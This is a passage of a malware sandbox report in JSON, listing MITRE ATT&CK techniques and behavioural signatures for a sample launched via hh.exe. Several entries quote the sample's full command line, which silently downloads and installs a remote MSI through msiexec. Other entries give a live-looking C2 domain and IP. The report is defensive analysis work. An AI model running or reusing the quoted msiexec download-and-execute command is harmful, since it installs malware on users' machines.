Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Decrypted SSL network traffic"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found user-agent related strings"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Detected MsiExec process execution","description":"Process \"msiexec.exe\" with commandline \"msiexec -c /Q /i https://www.thecloudnet.org/6b7DYqmvI0hidukkcLOF0hNahSHKe8fZMmj7OeDfrv0=.msi\" (UID: 00000000-00001728)","origin":"Monitored Target","mitre_attack_id":"T1218.007","relevance":2,"id":"target-152","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001728-1959-8-FF5F7460\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002536-23187-8-FF5F7460","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"hh.exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00002724)\n \"hh.exe\" called \"RtlGetNtProductType\" (UID: 00000000-00002724)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"\"hh.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00002724)\n \"hh.exe\" called \"RtlGetVersion\" (UID: 00000000-00002724)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00000000-00001728-1959-6-FF5EAE1C\n GetVersionExW@KERNEL32.DLL at 00000000-00001728-1959-4-FF5EB6A4\n GetVersion@KERNEL32.DLL at 00000000-00001728-1959-18-FF5EB650\n GetVersionExW@KERNEL32.DLL at 00000000-00002536-23187-4-FF5EB6A4\n GetVersionExW@KERNEL32.DLL at 00000000-00002536-23187-6-FF5EAE1C\n GetVersion@KERNEL32.DLL at 00000000-00002536-23187-18-FF5EB650","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.DLL at 00000000-00001728-1959-6-FF5EAE1C\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00002536-23187-6-FF5EAE1C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$25","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersionExW@KERNEL32.DLL directly followed by \"cmp eax, esp\" and \"je FF5EB059h\" at 00000000-00001728-1959-6-FF5EAE1C\n Found API call GetVersionExW@KERNEL32.DLL directly followed by \"cmp eax, esi\" and \"mov dword ptr [rsp+00000110h], eax\" at 00000000-00001728-1959-4-FF5EB6A4\n Found API call GetVersionExW@KERNEL32.DLL directly followed by \"cmp eax, esi\" and \"mov dword ptr [rsp+00000110h], eax\" at 00000000-00002536-23187-4-FF5EB6A4\n Found API call GetVersionExW@KERNEL32.DLL directly followed by \"cmp eax, esp\" and \"je FF5EB059h\" at 00000000-00002536-23187-6-FF5EAE1C","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$26","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"msiexec.exe\" queries volume information of \"C:\\\" at 00000000-00001728-00000046-9447838\n \"msiexec.exe\" queries volume information of \"C:\\\" at 00000000-00002536-00000046-10601577042390252","origin":"API Call","mitre_attack_id":"T1120","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"hh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"msiexec.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"hh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"msiexec.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"hh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\")\n \"hh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")\n \"hh.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"hh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to identify Internet Explorer version from registry","description":"\"hh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\"; Key: \"VERSION\"; Value: \"\")","origin":"Registry Access","relevance":3,"id":"registry-103","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$27","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$28","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$29","origin":"API Call","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"hh.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\cmd.exe\" /c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32\\msiexec.*) DO msiexec -c /Q /i http\" - (UID: 00000000-00002724)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"msiexec -c /Q /i https://www.thecloudnet.org/6b7DYqmvI0hidukkcLOF0hNahSHKe8fZMmj7OeDfrv0=.msi \" - (UID: 00000000-00002648)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"timeout 60\" - (UID: 00000000-00002648)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"172.86.122.181:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00001728-1959-3-FF5F6DA0\n Sleep@KERNEL32.DLL at 00000000-00001728-1959-1-FF5F7438\n Sleep@KERNEL32.DLL at 00000000-00002536-23187-3-FF5F6DA0\n Sleep@KERNEL32.DLL at 00000000-00002536-23187-1-FF5F7438","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryW@KERNEL32.DLL at 00000000-00001728-1959-6-FF5EAE1C\n LoadLibraryW@KERNEL32.DLL at 00000000-00001728-1959-4-FF5EB6A4\n LoadLibraryW@KERNEL32.DLL at 00000000-00002536-23187-4-FF5EB6A4\n LoadLibraryW@KERNEL32.DLL at 00000000-00002536-23187-6-FF5EAE1C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex\"\n \"!IECompat!Mutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MSILOG_a934d7041d90e76GOL.2328ISM_pmeT_lacoL_ataDppA_DsEltOQ_sresU_:C\"\n \"Global\\_MSIExecute\"\n \"Global\\MSILOG_a934d7041d90e76GOL.2328ISM_pmeT_lacoL_ataDppA_DsEltOQ_sresU_:C\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\_MSIExecute\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"MSI81C8.tmp\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"Tar5825.tmp\" as clean (type is \"data\"), Antivirus vendors marked dropped file \"MSI8179.tmp\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"\"ThemeApiConnectionRequest\" (Indicator: \"ThemeApiConnectionRequest\")\n \"open\" (Indicator: \"open\")\n \"FlsSetValue\" (Indicator: \"FlsSetValue\")\n \"LocaleNameToLCID\" (Indicator: \"LocaleNameToLCID\")\n \"FlsGetValue\" (Indicator: \"FlsGetValue\")","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"\"GET /6b7DYqmvI0hidukkcLOF0hNahSHKe8fZMmj7OeDfrv0=.msi HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agen%WINDIR%\\Installer\nHost: www.thecloudnet.org\" (Indicator: \"user-agent: \")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$2a","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00000000-00002648) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\"\n Process \"cmd.exe\" (UID: 00000000-00002648) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"msiexec.exe\" (UID: 00000000-00002536) was launched with modified environment variables: \"Path, LOCALAPPDATA, USERDOMAIN, TEMP, APPDATA, USERPROFILE, TMP\"\n Process \"msiexec.exe\" (UID: 00000000-00002536) was launched with missing environment variables: \"LOGONSERVER, PROMPT, HOMEPATH, HOMEDRIVE\"\n Process \"timeout.exe\" (UID: 00000000-00003200) was launched with new environment variables: \"LOGONSERVER=\"\\\\HAPUBWS-PC\", PROMPT=\"$P$G\", HOMEPATH=\"\\Users\\QOtlEsD\", HOMEDRIVE=\"C:\"\"\n Process \"timeout.exe\" (UID: 00000000-00003200) was launched with modified environment variables: \"Path, LOCALAPPDATA, USERDOMAIN, TEMP, APPDATA, USERPROFILE, TMP\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"www.thecloudnet.org\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Reads configuration files","description":"\"hh.exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"References url in command line","description":"Process \"cmd.exe\" with commandline \"/c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32\\msiexec.*) DO msiexec -c /Q /i https://www.thecloudnet.org/6b7DYqmvI0hidukkcLOF0hNahSHKe8fZMmj7OeDfrv0=.msi & timeout 60\" (UID: 00000000-00002648)\n Process \"msiexec.exe\" with commandline \"msiexec -c /Q /i https://www.thecloudnet.org/6b7DYqmvI0hidukkcLOF0hNahSHKe8fZMmj7OeDfrv0=.msi\" (UID: 00000000-00001728)","origin":"Monitored Target","id":"target-174","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32\\msiexec.*) DO msiexec -c /Q /i https://www.thecloudnet.org/6b7DYqmvI0hidukkcLOF0hNahSHKe8fZMmj7OeDfrv0=.msi & timeout 60\" on 2022-12-12.23:09:41.578","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"hh.exe\" searching for class \"MS_AutodialMonitor\"\n \"hh.exe\" searching for class \"MS_WebCheckMonitor\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32 ...\" (UID: 00000000-00002648)\n Spawned process \"msiexec.exe\" with commandline \"msiexec -c /Q /i https://www.thecloudnet.org/6b7DYqmvI0hidukkcL ...\" (UID: 00000000-00001728)\n Spawned process \"msiexec.exe\" with commandline \"/V\" (UID: 00000000-00002536)\n Spawned process \"timeout.exe\" with commandline \"timeout 60\" (UID: 00000000-00003200)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"cmd.exe\" with commandline \"/c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32 ...\" (UID: 00000000-00002648)\n Spawned process \"msiexec.exe\" with commandline \"msiexec -c /Q /i https://www.thecloudnet.org/6b7DYqmvI0hidukkcL ...\" (UID: 00000000-00001728)\n Spawned process \"msiexec.exe\" with commandline \"/V\" (UID: 00000000-00002536)\n Spawned process \"timeout.exe\" with commandline \"timeout 60\" (UID: 00000000-00003200)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"hh.exe\" connecting to \"\\ThemeApiPort\"\n \"msiexec.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$2b","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$2c","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Network Related","name":"Decrypted SSL network traffic","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1573","relevance":3,"id":"string-102","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"www.thecloudnet.org\"\n Pattern match: \"http://t2.symcb.com0U002U+0\"\n Pattern match: \"www.thecloudne+t.org/%use+rname%-a+$randomstr+1.msi\"\n Pattern match: \"https://www.thecloudnet.org/%username%.msi%WINDIR%\\system32[%UserDomain]\\[LogonUser]1|300|1|1|0|1|0|2.0+*c@E!GAOWaca.G'0.4`+?3%&/0X\"\n Pattern match: \"https://www.thecloudnet.org/6b7DYqmvI0hidukkcLOF0hNahSHKe8fZMmj7OeDfrv0=.msi\"\n Pattern match: \"C.JgU/0$\"\n Pattern match: \"crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]+Q0O0M+0Ahttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0U00\"\n Pattern match: \"crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0\"\n Pattern match: \"www.microsoft.com0\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"\"HTTPS traffic to 172.86.122.181 on port 443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"hh.exe\" called \"CreateCompatibleBitmap\" (UID: 00000000-00002724)","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"hh.exe\" called \"GetKeyState\"","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"hh.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00002724)\n \"msiexec.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00002536)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\"cmd.exe\" called \"FindNextFileW\" (UID: 00000000-00002648)\n \"msiexec.exe\" called \"FindFirstFileW\" (UID: 00000000-00002536)\n \"msiexec.exe\" called \"FindNextFileW\" (UID: 00000000-00002536)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Touches files in program files directory","description":"\"hh.exe\" trying to touch file \"C:\\Program Files\\Microsoft Office\\Office14\\OUTLLIB.DLL\"\n \"hh.exe\" trying to touch file \"C:\\Program Files\\Microsoft Office\\Office14\\OUTLLIB.DLL.DLL\"\n \"hh.exe\" trying to touch file \"%COMMONPROGRAMFILES%\\Microsoft Shared\\VGX\\VGX.dll\"\n \"hh.exe\" trying to touch file \"%COMMONPROGRAMFILES%\\Microsoft Shared\\VGX\\ATL.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Tries to access non-existent files","description":"$2f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"msiexec.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"hh.exe\" opened \"\\Device\\KsecDD\"\n \"msiexec.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"hh.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"hh.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"hh.dat\" - Location: [%APPDATA%\\Microsoft\\HTML Help\\hh.dat]- [targetUID: 00000000-00002724]","origin":"Binary File","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$30","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle for the specified module","description":"GetModuleHandleW@KERNEL32.DLL at 00000000-00001728-1959-18-FF5EB650\n GetModuleHandleW@KERNEL32.DLL at 00000000-00002536-23187-18-FF5EB650","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries the installation properties of user installed products","description":"\"msiexec.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\BF6347E6BB3BA354F875B26898124788\\INSTALLPROPERTIES\")","origin":"Registry Access","relevance":10,"id":"registry-71","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"17/61 Antivirus vendors marked sample as malicious (27% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"General","name":"Attempts to abuse msiexec.exe for proxy execution","description":"Process \"msiexec.exe\" with commandline \"msiexec -c /Q /i https://www.thecloudnet.org/6b7DYqmvI0hidukkcLOF0hNahSHKe8fZMmj7OeDfrv0=.msi\" (UID: 00000000-00001728)","origin":"Monitored Target","mitre_attack_id":"T1218.007","relevance":5,"id":"target-193","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"hh.exe\" called \"ShellExecuteA\" with parameter cmd.exe (UID: 00000000-00002724)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"MSI81C8.tmp\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%WINDIR%\\Installer\\MSI81C8.tmp]- [targetUID: 00000000-00002536]\n \"MSI8179.tmp\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%WINDIR%\\Installer\\MSI8179.tmp]- [targetUID: 00000000-00002536]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"cmd.exe\" wrote 1500 bytes to a remote process \"%WINDIR%\\System32\\msiexec.exe\" (Handle: 144)\n \"cmd.exe\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\timeout.exe\" (Handle: 132)\n \"cmd.exe\" wrote 8 bytes to a remote process \"%WINDIR%\\System32\\msiexec.exe\" (Handle: 144)\n \"cmd.exe\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\msiexec.exe\" (Handle: 144)\n \"cmd.exe\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\msiexec.exe\" (Handle: 144)\n \"cmd.exe\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\timeout.exe\" (Handle: 132)\n \"cmd.exe\" wrote 8 bytes to a remote process \"%WINDIR%\\System32\\timeout.exe\" (Handle: 132)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.86.122.181 on port 443 is sent without HTTP header","origin":"Network 